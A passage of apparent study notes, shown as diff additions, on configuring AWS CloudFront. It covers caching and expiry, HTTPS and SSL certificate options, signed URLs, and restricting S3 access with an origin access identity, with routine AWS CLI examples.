"LambdaFunctionAssociations": { "Quantity": 0 }, + "FieldLevelEncryptionId": "" + }, + "CacheBehaviors": { "Quantity": 0 }, + "CustomErrorResponses": { "Quantity": 0 }, + "Comment": "", + "Logging": { + "Enabled": false, + "IncludeCookies": false, + "Bucket": "", + "Prefix": "" + }, + "PriceClass": "PriceClass_All", + "Enabled": true, + "ViewerCertificate": { + "CloudFrontDefaultCertificate": true, + "MinimumProtocolVersion": "TLSv1", + "CertificateSource": "cloudfront" + }, + "Restrictions": { + "GeoRestriction": { + "RestrictionType": "none", + "Quantity": 0 + } + }, + "WebACLId": "", + "HttpVersion": "http2", + "IsIPV6Enabled": true +} +``` + + +--- + + +## cache control headers + +cache control headers +- CloudFront reads cache control headers + - to determine how frequently to check the origin server for an updated version of that file. + +- The cache control header set on your files + - identifies static and dynamic content. + - can even have custom headers within the CloudFront distribution graphical user interface / GUI within the console. + +- Delivering all your content by using a single CloudFront distribution helps to ensure performance optimization on your entire website. + +- expiration period + - How long is a file kept at the edge location + - set the expiration period by the cache control headers on files in origin server. + - set one. If your files don’t change very often, + - set to 0 seconds, CloudFront will revalidate every request with the origin server. + - best practice: + - set a long expiration period, + - implement a versioning system to manage updates to your files. +- By default, if no cache control header is set + - each edge location checks for an updated version of file + - when it receives a request more than 24 hours after the previous time + + +3 ways to set content to expire / retire cached content +- Use time to live, TTL (preferred) + - easiest but not immediate. + - Fixed period of time + - set the TTL for a particular origin server to 0, + - CloudFront will still cache the content from that origin server. + - CloudFront make a `GET` request to origin with an `If-Modified-Since` header. + - This header allows the origin server to signal that CloudFront can continue to use the cached content if the content has not changed at the origin server. + +- Change the object name (preferred) + - more effort but immediate. + - No name force refresh + - There might be some support for this option in some content management systems, or CMSs. + - CloudFront distributes objects to edge locations + - only when the objects are requested, + - not when you put new or updated objects in your origin server. + - Although you can update existing objects in a CloudFront distribution and use the same object names, it is not recommended. + - If update an existing object in the origin server with a newer version that has the same name + - an edge location won’t get that new version from your origin server until the object is updated and requested. + +- Invalidating an object + - Inefficient and expensive + - should be used sparingly for individual objects. + - bad solution because the system must forcibly interact with all edge locations. + + +--- + +## presigned URLs +- owner can grant any user permissions to access an S3 object. + - presigned URLs don't require users to have AWS security credentials or permissions. + - A temporary URL that allows users to see assigned S3 objects using the creator's credentials. + - Presigned URLs utilize the STS service. +- if get an error when access an S3 object. + - presigned URL has expired + - was created using an IAM role, and that role's temporary credentials have expired. + - Permissions of the URL creator have changed + + +--- + + +# Configuring Secure Access and Restricting Access to Content + +- For web distributions, CloudFront provides several options for securing content that it delivers. +- The following are some ways you can use CloudFront to secure and restrict access to content: + - Configure HTTPS connections + - Use geo restriction (geoblocking) + - Prevent users in specific geographic locations from accessing content + - access content by CloudFront signed URLs or signed cookies + - do not want access by direct URL for the file. + - Instead, access the files only by using the CloudFront URL, so that your protections work. + - Set up field-level encryption for specific content fields + - Use AWS WAF to control access to the content + - create a web access control list (web ACL) to restrict access to your content. + - such as the IP addresses that requests originate from or the values of query strings, + - CloudFront responds to requests + - with the requested content + - or with an HTTP 403 status code (Forbidden). + - Restrict access to content in S3 buckets + - If use an S3 bucket as the origin for a CloudFront distribution + - set up an origin access identity (OAI) to manage direct access to your content. + +--- + + +## CloudFront Custom SSL Support +- By default, content is delivered to viewers over HTTPS by using a CloudFront distribution domain name. (https://xxx.cloudfront.net/image.jpg) + +- CloudFronthas support custom Secure Sockets Layer, SSL + - can create your own certificate that will have the `CloudFront.net` domain, + - or can bring your own certificate if you have a specific domain name that you want to use. + +- Server Name Indication (SNI) Custom SSL + - relies on the SNI extension of the Transport Layer Security protocol + - allows multiple domains to serve SSL traffic over the same IP address + - CloudFront delivers content from each edge location, offers the same security as the Dedicated IP Custom SSL feature. + - Some older browsers do not support SNI + - some users might not be able to access your content by older browsers. + - these browsers will not be able to establish a connection with CloudFrontto load the HTTPS version of your content. + - no separate pricing for this feature. + - use SNI Custom SSL with no upfront or monthly fees for certificate management. + - Instead, pay normal CloudFrontrates for data transfer and HTTPS requests. + +- Dedicated IP Custom SSL works for all clients + - to deliver content to browsers that don’t support SNI + - CloudFront allocates dedicated IP addresses to serve your SSL content at each CloudFront edge location. + - To learn more about Dedicated IP Custom SSL certificate support, select the link.https://aws.amazon.com/cloudfront/custom-ssl-domains/ + - When we approve your request, you can upload an SSL certificate and use the AWS Management Console to associate it with your CloudFront distributions. + - If you need to associate more than one custom SSL certificate with your CloudFront distribution, include details about your use case and the number of custom SSL certificates that you intend to use in the “Use Case and # of SSL Certs You Intend to Use” section of the form. + + +--- + +## Using HTTPS with CloudFront + +For web distributions, can configure CloudFront to + +- require viewers use HTTPS to request the objects + - encrypt connections when CloudFront communicates with viewers. + +- configure CloudFront to use HTTPS to get objects from your origin, + - encrypt connections when CloudFront communicates with your origin. + +- configure CloudFront to require HTTPS to communicate with both viewers and origin + - when CloudFront receives a request for an object: + 1. A viewer submits an HTTPS request to CloudFront. + - There's some SSL/TLS negotiation between the viewer and CloudFront. + - In the end, the viewer submits the request in an encrypted format. + 2. CloudFront check the request + - If the object is in the CloudFront edge cache + - CloudFront encrypts the response and returns it to the viewer, and the viewer decrypts it. + - If the object is not in the CloudFront cache + - CloudFront performs SSL/TLS negotiation with your origin + - when the negotiation is complete, forwards the request to your origin in an encrypted format. + - Your origin decrypts the request, encrypts the requested object, and returns the object to CloudFront. + - CloudFront decrypts the response, re-encrypts it, and forwards the object to the viewer. + - CloudFront also saves the object in the edge cache so that the object is available the next time it's requested. + 4. The viewer decrypts the response. + 5. The process works similar whether the origin is an S3 bucket, MediaStore, or a custom origin such as an HTTP/S server. + +> Note +> To help thwart SSL renegotiation-type attacks, CloudFront does not support renegotiation for viewer and origin requests. + +--- + + +### Requiring HTTPS for Communication Between Viewers and CloudFront + +1. configure one or more cache behaviors in the CloudFront distribution + - to require HTTPS for communication between viewers and CloudFront. + - to allow both HTTP and HTTPS + - so CloudFront requires HTTPS for some objects, but not for others + +2. The configuration steps depend on the domain name using in object URLs + - using the domain name that CloudFront assigned to your distribution + - like: `d111111abcdef8.cloudfront.net` + - change the  Viewer Protocol Policy  setting for one or more cache behaviors to require HTTPS communication. + - In that configuration, CloudFront provides the SSL/TLS certificate. + - change the value of Viewer Protocol Policy  + - by using the CloudFront console + - use the CloudFront API to change the value of the `ViewerProtocolPolicy` element + - UpdateDistribution in the CloudFront API. + + - using your own domain name + - like: `example.com` + - need to + - change several CloudFront settings. + - use an SSL/TLS certificate provided by AWS Certificate Manager (ACM), or import a certificate from a third-party certificate authority into ACM or the IAM certificate store. + + +to ensure the objects get from CloudFront were encrypted when CloudFront got them from the origin +- always use HTTPS between CloudFront and your origin. + +If recently changed from HTTP to HTTPS between CloudFront and the origin +- recommend that invalidate objects in CloudFront edge locations. +- CloudFront will return an object to a viewer regardless of whether the protocol used by the viewer (HTTP or HTTPS) matches the protocol that CloudFront used to get the object. + + + +To configure CloudFront to require HTTPS between viewers and CloudFront for one or more cache behaviors +1. AWS Management Console > CloudFront console. `https://console.aws.amazon.com/cloudfront/` +2. CloudFront console > the ID for the distribution to update. +3. Behaviors tab > the cache behavior to update > choose Edit. +4. Specify one of the following values for  Viewer Protocol Policy + - Redirect HTTP to HTTPS + - Viewers can use both protocols. + - HTTP `GET` and `HEAD` requests are automatically redirected to HTTPS requests. + - CloudFront returns HTTP status code 301 (Moved Permanently) along with the new HTTPS URL. + - The viewer then resubmits the request to CloudFront using the HTTPS URL. + - If you send `POST, PUT, DELETE, OPTIONS, or PATCH` over HTTP with an HTTP to HTTPS cache behavior and a request protocol version of HTTP + - `protocol version of HTTP 1.1 or above`, + - CloudFront redirects the request to a HTTPS location with a HTTP status code 307 (Temporary Redirect) + - This guarantees that the request is sent again to the new location using the same method and body payload. + - `protocol version below HTTP 1.1` + - CloudFront returns a HTTP status code 403 (Forbidden) + - When a viewer makes an HTTP request that is redirected to an HTTPS request, CloudFront charges for both requests. + - For the HTTP request, the charge is only for the request and for the headers that CloudFront returns to the viewer. + - For the HTTPS request, the charge is for the request, and for the headers and the object that are returned by your origin. + - HTTPS Only + - Viewers can access your content only if they're using HTTPS. + - If a viewer sends an HTTP request instead of an HTTPS request + - CloudFront returns HTTP status code 403 (Forbidden) and does not return the object. + +5. Choose Yes, Edit +6. Repeat steps 3 through 5 for each additional cache behavior that you want to require HTTPS for between viewers and CloudFront. +7. Confirm the following before you use the updated configuration in a production environment: + - The path pattern in each cache behavior applies only to the requests that you want viewers to use HTTPS for. + - The cache behaviors are listed in the order that you want CloudFront to evaluate them in. + - The cache behaviors are routing requests to the correct origins. + +--- + +### Requiring HTTPS for Communication Between CloudFront and Custom Origin + +- require HTTPS for communication between CloudFront and your custom origin, the steps depend on + - whether you're using the domain name that CloudFront assigned to your distribution (`d111111abcdef8.cloudfront.net`) + - or using your own alternate domain name (`example.com`) + +> Note +> If your custom origin is an S3 bucket that’s configured as a website endpoint, you can’t configure CloudFront to use HTTPS with your origin because S3 doesn’t support HTTPS for website endpoints. + +1. Use the default CloudFront domain name + - use the domain name that CloudFront assigned to the distribution in the URLs for the objects + - (https://d111111abcdef8.cloudfront.net/logo.jpg) + - require HTTPS by following the procedures in this topic to do the following: + - Change the Origin Protocol Policy setting for specific origins in your distribution + - Install an SSL/TLS certificate on your custom origin server (this isn't required when you use an S3 origin) + +2. Use an alternate domain name + - add an alternate domain name that's easier to work with, like `example.com`. + - [steps and guidance in Using Alternate Domain Names and HTTPS](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/using-https-alternate-domain-names.html) + + +#### Changing CloudFront Settings +- configure CloudFront to use HTTPS to communicate with an Elastic Load Balancing load balancer, an EC2 instance, or another custom origin. +- to use the CloudFront API to update a web distribution, see `UpdateDistribution` in the CloudFront API Reference. + + To configure CloudFront to require HTTPS between CloudFront and your custom origin + +1. AWS Management Console > CloudFront console at `https://console.aws.amazon.com/cloudfront/` +2. CloudFront console > choose the ID for the distribution that you want to update. +3. Origins tab > choose the origin to update > choose Edit. +4. Update the following settings: + - Origin Protocol Policy + - Change the Origin Protocol Policy for the applicable origins in your distribution: + - **HTTPS Only** + - CloudFront uses only HTTPS to communicate with your custom origin. + - **Match Viewer** + - CloudFront communicates with your custom origin using HTTP or HTTPS + - depending on the protocol of the viewer request. + - Example + - choose Match Viewer for Origin Protocol Policy + - the viewer `uses HTTPS to request an object` from CloudFront, + - CloudFront also `uses HTTPS to forward the request` to your origin. + - Choose Match Viewer only if you specify Redirect HTTP to HTTPS or HTTPS Only for Viewer Protocol Policy. + - CloudFront caches the object only once even if viewers make requests using both HTTP and HTTPS protocols. + - Origin SSL Protocols + - Choose the Origin SSL Protocols for the applicable origins in your distribution. + - The SSLv3 protocol is less secure, only if origin doesn’t support TLSv1 or later. + - The TLSv1 handshake is both backwards and forwards compatible with SSLv3, but TLSv1.1 and TLSv1.2 are not. + - When you choose SSLv3, CloudFront only sends SSLv3 handshake requests. +5. Choose Yes, Edit. +6. Repeat steps 3 through 5 for each additional origin that you want to require HTTPS for between CloudFront and your custom origin. +7. Confirm the following before you use the updated configuration in a production environment: + - The path pattern in each cache behavior applies only to the requests that you want viewers to use HTTPS for. + - The cache behaviors are listed in the order that you want CloudFront to evaluate them in. For more information, see Path Pattern. + - The cache behaviors are routing requests to the origins that you changed the Origin Protocol Policy for. + + +#### Installing an SSL/TLS Certificate on Your Custom Origin Server + +use an SSL/TLS certificate from the following sources on your custom origin: + +- origin is an Elastic Load Balancing load balancer + - use a certificate provided by AWS Certificate Manager (ACM). + - use a certificate that is signed by a trusted third-party certificate authority and imported into ACM. + +- origins other than ELB load balancers, + - must use a certificate that is signed by a trusted third-party certificate authority (CA) + - for example, Comodo, DigiCert, or Symantec. + +When CloudFront uses HTTPS to communicate with your origin +- CloudFront verifies that the certificate was issued by a trusted certificate authority. +- CloudFront supports the same certificate authorities that Mozilla does. +- For the current list, see Mozilla Included CA Certificate List. +- You can't use a self-signed certificate for HTTPS communication between CloudFront and the origin. + +Important +- If the origin server returns an expired / invalid / self-signed certificate, or returns the certificate chain in the wrong order, + - CloudFront drops the TCP connection, r + - eturns HTTP status code 502 (Bad Gateway), + - and sets the X-Cache header to Error from cloudfront. +- Also, if the full chain of certificates, including the intermediate certificate, is not present, + - CloudFront drops the TCP connection. + +The certificate returned from the origin +- must cover the domain specified for Origin Domain Name for the corresponding origin in your distribution. +- In addition, if you configured CloudFront to forward the Host header to your origin, the origin must respond with a certificate matching the domain in the Host header. + + + + +#### About RSA and ECDSA Ciphers +The encryption strength of a communications connection depends on the key size and strength of the algorithm of origin server’s certificate. +- The two options that CloudFront supports for connections with a custom origin + - RSA + - Elliptic Curve Digital Signature Algorithm (ECDSA). +- For lists of the RSA and ECDSA ciphers supported by CloudFront, see Supported SSL/TLS protocols and ciphers for communication between CloudFront and your origin. + + + RSA + +- CloudFront and origin servers typically use RSA 2048-bit asymmetric keys for SSL/TLS termination. + +- The strength of RSA + - relies on the presumed difficulty of breaking a key that requires factoring the product of two large prime numbers. + - RSA algorithms use the product of two large prime numbers, with another number added to it to create a public key. + - The private key is a related number. + - but faster computer calculations have weakened RSA algorithms + - it’s now easier to break the encryption. +- to maintain encryption strength while continuing to use RSA + - increase the size of the RSA keys. + - However, this approach isn’t easily scalable because using larger keys increases the compute cost for cryptography. + + + ECDSA + +- use an ECDSA certificate. +- ECDSA bases its security on more complex mathematical problem than RSA + - takes more computer processing time to break ECDSA encryption. +- ECDSA is built on the principle that it is difficult to solve for the discrete logarithm of a random elliptic curve when its base is known, also known as the Elliptic Curve Discrete Logarithm Problem (ECDLP). + +- so use shorter key lengths to achieve the equivalent security of using RSA with much larger key sizes. + - providing better security + - ECDSA's smaller keys + - enables faster computing of algorithms, smaller digital certificates, and fewer bits to transmit during the SSL/TLS handshake. + - reduce the time it takes to create and sign digital certificates for SSL/TLS termination on origin servers. + - can increase throughput by reducing the compute cycles needed for cryptography, freeing up server resources to process other work. + + +Choosing Between RSA and ECDSA Ciphers +- Sample tests + - Example, + - 2048-bit RSA to 256-bit ECDSA (nistp256) + - nistp256 option was 95% faster than 2048-bit RSA + - while providing the same security strength as 3072-bit RSA. +- CloudFront continues to support RSA for SSL/TLS connections. + - However, for encryption for SSL/TLS authentication for origin servers, ECDSA could be a better option. +- stronger encryption, the reduction in computational cost of cryptography while using ECDSA at your origin servers is an added advantage. + + + + Use ECDSA Ciphers for communications between CloudFront and the origin + +1. Generate a private key by using either of the supported curves (prime256v1 or secp384r1). +2. Generate an ECDSA Digital Certificate in the `X.509` PEM format with a trusted certificate authority. +3. Set up your origin to prefer the ECDSA certificate. +4. Using ECDSA doesn't require any settings changes in the CloudFront console or APIs, and there is no additional fee. + + +--- + + +### Requiring HTTPS for Communication Between CloudFront and S3 Origin + +When origin is an S3 bucket, options for using HTTPS for communications with CloudFront depend on how you're using the bucket. +- the S3 bucket is configured as a website endpoint + - no HTTPS when communicate between origin and CloudFront + - S3 doesn't support HTTPS connections in that configuration. + +- When your origin is an S3 bucket that supports HTTPS communication + - CloudFront always forwards requests to S3 by using the protocol that viewers used to submit the requests. + - The default setting for the  Origin Protocol Policy setting is Match Viewer  and can't be changed. + +- to require HTTPS for communication between CloudFront and S3 + - must change Viewer Protocol Policy to Redirect HTTP to HTTPS or HTTPS Only + - The procedure later in this section explains how to use the CloudFront console to change Viewer Protocol Policy. + - using the CloudFront API to update the `ViewerProtocolPolicy` element for a web distribution: `UpdateDistribution` in the CloudFront API + +When you use HTTPS with an S3 bucket that supports HTTPS communication, S3 provides the SSL/TLS certificate, so you don't have to. + +To configure CloudFront to require HTTPS to your S3 origin +1. AWS Management Console > CloudFront console +2. CloudFront console > choose the ID for the distribution to update. +3. Behaviors tab > choose the cache behavior to update > choose Edit. +4. Specify one of the following values for  Viewer Protocol Policy + - **Redirect HTTP to HTTPS** + - Viewers can use both protocols + - but HTTP requests are automatically redirected to HTTPS requests. + - CloudFront returns HTTP status code 301 (Moved Permanently) along with the new HTTPS URL. + - The viewer then resubmits the request to CloudFront using the HTTPS URL. + - Important + - CloudFront doesn't redirect `DELETE, OPTIONS, PATCH, POST, or PUT` requests from HTTP to HTTPS. + - CloudFront responds to `HTTP DELETE, OPTIONS, PATCH, POST, or PUT` requests for that cache behavior with HTTP status code 403 (Forbidden). + - When a viewer makes an HTTP request that is redirected to an HTTPS request, CloudFront charges for both requests. + - For the HTTP request, the charge is only for the request and for the headers that CloudFront returns to the viewer. + - For the HTTPS request, the charge is for the request, and for the headers and the object returned by your origin. + - **HTTPS Only** + - Viewers can access your content only if they're using HTTPS. + - If a viewer sends an HTTP request instead of an HTTPS request, + - CloudFront returns HTTP status code 403 (Forbidden) and does not return the object. +5. Choose Yes, Edit. +6. Repeat steps 3 through 5 for each additional cache behavior that you want to require HTTPS for between viewers and CloudFront, and between CloudFront and S3. +7. Confirm the following before you use the updated configuration in a production environment: + - The path pattern in each cache behavior applies only to the requests that you want viewers to use HTTPS for. + - The cache behaviors are listed in the order that you want CloudFront to evaluate them in. For more information, see Path Pattern. + - The cache behaviors are routing requests to the correct origins. + + +--- + + + + +## Using Alternate Domain Names and HTTPS +1. To use dedicated IP, request permissionfor your AWS account (not necessary for SNI) + - By default, when request permission to use an alternate domain name with HTTPS, we update your account so that you can associate two custom SSL certificates with your CloudFront distributions. + - Typically, you only use the second certificate temporarily, like when have more than one distribution and need to rotate certificates. + - If you need to permanently associate two or more certificates with your distributions, indicate how many certificates you need, and describe your circumstances in your request. +1. upload your SSL certificate to the IAM certificate store by AWS Certificate Manager (ACM) or AWS CLI. + - ACM (preferred tool): provisioning, managing, and deploying server certificates. + - Certificates that are provided by ACM are free, and automatically renew. + - With ACM, you can + - To request a certificate. + - to deploy an existing ACM or external certificate to AWS resources. + - to manage server certificates from the console or programmatically. + - use IAM as a certificate manager only when must support HTTPS connections in a Region that not supported by ACM. + - IAM securely encrypts your private keys, and itstores the encrypted version in IAM SSL certificate storage. + - IAM supports deploying server certificates in all Regions, but you must obtain your certificate from an external provider for use with AWS. You cannot upload an ACM certificate to IAM. + - When you use the IAM CLI to upload your SSL certificate to the IAM certificate store, you must use the same AWS account that you used to create your CloudFront distribution. + - When you upload your certificate to IAM, the value of the -path parameter, or certificate path, must start with /cloudfront/. + - Examples of the -path parameter include + - /cloudfront/production/ + - /cloudfront/test/ + - The path also must end with a /. + - to use the CloudFront API to create or update your distribution, + - make sure note the alphanumeric string that AWS CLI returns, such as AS1A2M3P4L5E67SIIXR3J. + - This string is the value that you will specify in the IAMCertificateId element. + - You do not need the IAM Amazon Resource Name—or ARN—which is also returned by the CLI. +1. You can update your distribution to include your domain names + - so that you can specify which SSL certificate you want to use, specify a dedicated IP address or SNI, and add or update DNS records. + - After you associate your SSL certificate with your CloudFront distribution, do not delete the certificate from the IAM certificate store until you remove the certificate from all distributions, and until the status of the distributions has changed to Deployed. + - To request permission, select the link. https://aws.amazon.com/cloudfront/custom-ssl-domains/ + + +Advanced SSL features support +- High security ciphers + - to improve the security of HTTPS connections. + - CloudFront edge servers and clients, such as browsers, automatically agree on a cipher as part of the SSL handshake process. + - The connections can now use ciphers with advanced features, such as Elliptic Curve signatures and key exchanges. +- Perfect forward secrecy + - uses a unique random session key to provide additional safe guards against the eavesdropping of encrypted data. + - This feature prevents the decoding of captured data, even if the secret long-term key is compromised. +- OCSP stapling + - improves the time taken for individual SSL handshakes. + - It moves the Online Certificate Status Protocol (OSCP) check, which is used to obtain the revocation status of an SSL certificate, from the client to a periodic, secure check by the CloudFront servers. + - With OCSP stapling, the client no longer needs to handle certificate validation, which improves performance. +- Session tickets + - speed up the time to restart or resume an SSL session. + - CloudFront encrypts SSL session information and stores it in a ticket. + - The client can use this ticket to resume a secure connection instead of repeating the SSL handshake process + + + +--- + +## Restricting content with signed URLs and signed cookies + + +--- + + +## Restricting Access to S3 Content by signed URLs + + +make content private +- restrict access to objects in your S3 bucket. +- require that users use signed URLs. + - create CloudFront key pairs for trusted signers + - write the code that generates signed URLs. + - write an application that automatically generates signed URLs + - Or use a web interface to create signed URLs + - add trusted signers to your distribution. + - After you add a trusted signer to your distribution, users must use signed URLs to access the corresponding content. + - A signed URL: + - includes additional information + - such as an expiration date and time, + - gives you more control over access to your content. + - This additional information appears in a policy statement that is based on canned / custom policy: + - canned policy: restrict access to a single object. https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-creating-signed-url-canned-policy.html + - custom policy: restrict access to one or more objects by using pattern matching. https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-creating-signed-url-custom-policy.html + + + +--- + +## Restricting Access to S3 Content by OAI Origin Access Identity + +![Screen Shot 2021-01-22 at 12.30.06](https://i.imgur.com/oGIQIXW.png) + +> When your Amazon Cloudfront CDN distributions are using AWS S3 as an origin, the distributions content should be kept private and delivered only via Cloudfront network, using an origin access identity to regulate access. + + + +In general, using an S3 bucket as the origin for a CloudFront distribution +- either allow everyone to have access to the files there, +- or restrict the access. + - restrict access by CloudFront signed URLs or signed cookies + - to restrict access to view files by the direct S3 URL for the file. + - let them only access the files by the CloudFront URL, so the protections work. + + + Origin access identity + +- to restrict access + - restrict access to S3 content by creating an OAI, a special CloudFront user. + - CloudFront OAI gets objects from S3 on behalf of the users. + - Direct access to the objects through S3 URLs will be denied. +- Cloudfront distributions can be much more cost effective + - the price for CloudFront data transfer is lower than the price for S3 data transfer. +- downloads are faster + - only the CloudFront service is used to deliver the application objects instead of S3 + - because the objects are copied to all edge locations within the distribution in order to be stored closer to your users. + + + +> Important +> If you use an S3 bucket configured as a website endpoint +> - must set it up with CloudFront as a custom origin. +> - can’t use the origin access identity feature +> - However, you can restrict access to content on a custom origin by setting up custom headers and configuring your origin to require them. +> - For more information, see Restricting access to files on custom origins. + + +- create an origin access identity by CloudFront console or the CloudFront API. + - CloudFront console: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-restricting-access-to-s3.html#private-content-creating-oai-console + - CloudFrontAPI: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-restricting-access-to-s3.html#private-content-creating-oai-api + + +- To use this feature to restrict access to content from S3 buckets + - Create a special CloudFront user called an origin access identity (OAI) and associate it with your distribution. + - Configure your S3 bucket permissions + - change the permissions either on your S3 bucket or the objects in bucket + - so only the origin access identity has read permission. + - so CloudFront can use the OAI to access the files in your bucket and serve them to your users. + - Make sure that users can’t use a direct URL to the S3 bucket to access a file there. + - After these steps, users can only access the files through CloudFront, not directly from the S3 bucket. + +--- + +### Audit +To determine if origin access identity is enabled for your Cloudfront distributions configured with S3 as origin, perform the following: + + +AWS CLI: + +```bash +aws cloudfront list-distributions \ + --output table \ + --query 'DistributionList.Items[*].Id' +# --------------------- +# | ListDistributions | +# +-------------------+ +# | E7GGTQ8UCFC4G | +# | G31A16G5KZMUX | +# | D8E6G5KZMPDT0 | +# +-------------------+ + + +# return multiple values using query argument +aws cloudfront list-distributions \ + --output text + --query "DistributionList.Items[*].Origins.Items[*].{id:Id,name:DomainName}" + +aws cloudfront list-distributions \ + --output text + --query "DistributionList.Items[*].{id:Id, origin:Origins.Items[0].Id}[?origin=='S3-BUCKET_NAME'].id" + + +# expose the name of the origin access identity set for each S3 origin entry associated with the selected AWS Cloudfront distribution: +aws cloudfront get-distribution-config \ + --id DistributionList.Id \ + +aws cloudfront get-distribution-config \ + --id E7GGTQ8UCFC4G \ + --query 'DistributionConfig.Origins.Items[*].S3OriginConfig.OriginAccessIdentity' + +``` + + + +--- + +### OAI Setup + +When set up an S3 bucket as the origin for a CloudFront distribution +- grant everyone permission to read the files in your bucket. + - allows anyone to access your files either through CloudFront or using the S3 URL + - CloudFront doesn't expose S3 URLs, + - but the users might have those URLs if your application serves any files directly from S3 + - or if anyone gives out direct links to specific files in S3. + + +- use CloudFront signed URLs or signed cookies to restrict access + - but it not prevent users from accessing S3 files by using S3 URLs + - If users access your files directly in S3, + - they bypass the controls provided by CloudFront signed URLs or signed cookies + - This includes + - control over the date and time that a user can no longer access your content, + - and control over which IP addresses can be used to access content. + - CloudFront access logs are less useful + - because they're incomplete, users access files both through CloudFront and directly by using S3 URLs, + +To ensure access by only CloudFront URLs, regardless of whether the URLs are signed, do the following: + +1. Create an origin access identity + - a special CloudFront user + - associate the origin access identity with the distribution. + - associate the origin access identity with origins, so that you can secure all or just some of your S3 content. + - can also create an origin access identity and add it to your distribution when you create the distribution. + +2. Change the permissions either on your S3 bucket or on the files in bucket + - only the origin access identity has read permission (or read and download permission). + - When your users access your S3 files through CloudFront, + - the CloudFront origin access identity gets the files on behalf of your users. + - If your users request files directly by using S3 URLs, they're denied access. + - The origin access identity has permission to access files in your S3 bucket, but users don't. + + +An AWS account can have up to 100 CloudFront origin access identities (OAIs) +- can add an OAI to as many distributions as you want, so one OAI is usually sufficient. + + +1. create an OAI and add it to the distribution when created the distribution +2. create and add one now by either the CloudFront console or the CloudFront API: + - CloudFront console + - can create an OAI and add it to the distribution at the same time. + - CloudFront API version 2009-09-09 or later. + - create an OAI, and then you add it to your distribution. + + +--- + + +### create OAI and update CloudFront distribution + + +--- + + +#### Creating an OAI by CloudFront console +1. AWS Management Console > CloudFront console > Choose the ID of a distribution that has an S3 origin. +2. Choose the **Origins and Origin Groups** tab. +3. Choose the check box next to an origin, and then choose **Edit**. + +4. For **Restrict Bucket Access**, choose **Yes**. + - If you already have an OAI that you want to use, + - choose **Use an Existing Identity**. + - Then choose the OAI in the **Your Identities** list. + - to create an OAI, choose **Create a New Identity**. + - You can replace the bucket name in the **Comment** field with a custom description. + +5. If you want CloudFront to automatically give the OAI permission to read the files in the S3 bucket specified in **Origin Domain Name**, choose **Yes, Update Bucket Policy**. + - CloudFront updates bucket permissions to grant the specified OAI permission to read files in your bucket. + - However, CloudFront does not remove existing permissions. + - If users currently have permission to access the files in your bucket using S3 URLs, they will still have that permission after CloudFront updates your bucket permissions. + - To view or remove existing bucket permissions, use a method provided by S3. + - If you want to manually update permissions on your S3 bucket, choose **No, I Will Update Permissions**. +6. Choose **Yes, Edit**. +7. If you have more than one origin, repeat the steps to add an OAI for each one. + +--- + + +#### Creating an OAI by CloudFront API + +1. create a CloudFront OAI. + - `POST Origin Access Identity` API action. + + ```bash + # creates a CloudFront origin access identity (OAI) by providing the OAI configuration as a command line argument: + aws cloudfront create-cloud-front-origin-access-identity \ + --cloud-front-origin-access-identity-config \ + CallerReference="cli-example",Comment="Example OAI" + + # providing the OAI configuration in a JSON file: + aws cloudfront create-cloud-front-origin-access-identity \ + --cloud-front-origin-access-identity-config file://OAI-config.json + + # The file OAI-config.json: + { + "CallerReference": "cli-example", + "Comment": "Example OAI" + } + + # the output is the same: + { + "Location": "https://cloudfront.amazonaws.com/2019-03-26/origin-access-identity/cloudfront/E74FTE3AEXAMPLE", + "ETag": "E2QWRUHEXAMPLE", + "CloudFrontOriginAccessIdentity": { + "Id": "E74FTE3AEXAMPLE", + # the value used to associate the OAI with your distribution. + "S3CanonicalUserId": "cd13868f797c227fbea2830611a26fe0a21ba1b826ab4bed9b7771c9aEXAMPLE", + # the value used when you use S3 object ACLs to give the OAI access to your S3 objects. + "CloudFrontOriginAccessIdentityConfig": { + "CallerReference": "cli-example", + "Comment": "Example OAI" + } + } + } + ``` + + +2. Adding OAI to Distribution by CloudFront API + - use the CloudFront API to add a CloudFront OAI to an existing distribution or to create a new distribution that includes an OAI. + - In either case, include an `OriginAccessIdentity` element. + - This element contains the value of the `Id` element + - You can add the `OriginAccessIdentity` element to one or more origins. + - Create a new web distribution + - Update an existing web distribution + + +```bash +# Run get-distribution-config command to extract the configuration metadata from the Cloudfront distribution that you want to reconfigure +# returns the configuration details of an AWS Cloudfront CDN distribution identified by the ID E7GGTQ8UCFC4G: +aws cloudfront get-distribution-config \ + --id E7GGTQ8UCFC4G + --profile yourrole + +# output +{ + "ETag": "E1VEIGDP0YISPR", + "DistributionConfig": { + "Comment": "", + "CacheBehaviors": { "Quantity": 0 }, + "IsIPV6Enabled": true, + "Origins": { + "Items": [ + { + # modify this + # "S3OriginConfig": { "OriginAccessIdentity": "" }, + "S3OriginConfig": { + "OriginAccessIdentity": "access-identity-cloudconformity-web-assets.s3.amazonaws.com" + }, + "OriginPath": "/static", + "CustomHeaders": { "Quantity": 0 }, + "Id": "S3-cloudconformity-web-assets", + "DomainName": "cloudconformity-web-assets..." + } + ], + "Quantity": 1 + }, + + ... + + "CallerReference": "1495036941163", + "ViewerCertificate": { + "CloudFrontDefaultCertificate": true, + "MinimumProtocolVersion": "SSLv3", + "CertificateSource": "cloudfront" + }, + "CustomErrorResponses": { "Quantity": 0 }, + "HttpVersion": "http2", + "Restrictions": { + "GeoRestriction": { + "RestrictionType": "none", + "Quantity": 0 + } + }, + "Aliases": { "Quantity": 0 } + } +} + +# to enable origin access identity for other Cloudfront CDN distributions +# Run update-distribution to update your AWS Cloudfront distribution in order to enable origin access identity and restrict user access to the S3 bucket used as distribution origin. +# updates an AWS CloudFront CDN web distribution with the ID E7GGTQ8UCFC4G and the ETag E1VEIGDP0YISPR, using the JSON configuration document named cloudfront-distconfig-enable-oai.json, created at the previous step: +aws cloudfront update-distribution \ + --id E7GGTQ8UCFC4G \ + --distribution-config file://cloudfront-distconfig-enable-oai.json \ + --if-match E1VEIGDP0YISPR + +``` + +--- + + + +### Granting the OAI Permission to Read Files in S3 Bucket + +When create or update a distribution +- add an origin access identity (OAI) and automatically update the S3 bucket policy to give the OAI permission to access your bucket. +- or manually create or update the bucket policy +- or use object ACLs that control access to individual files in the bucket. + +Whichever method, review the permissions to make sure that: +* CloudFront OAI can access files in the bucket on behalf of viewers who are requesting them through CloudFront. +* Viewers can’t use S3 URLs to access your files outside of CloudFront. + + +Important +- If you configure 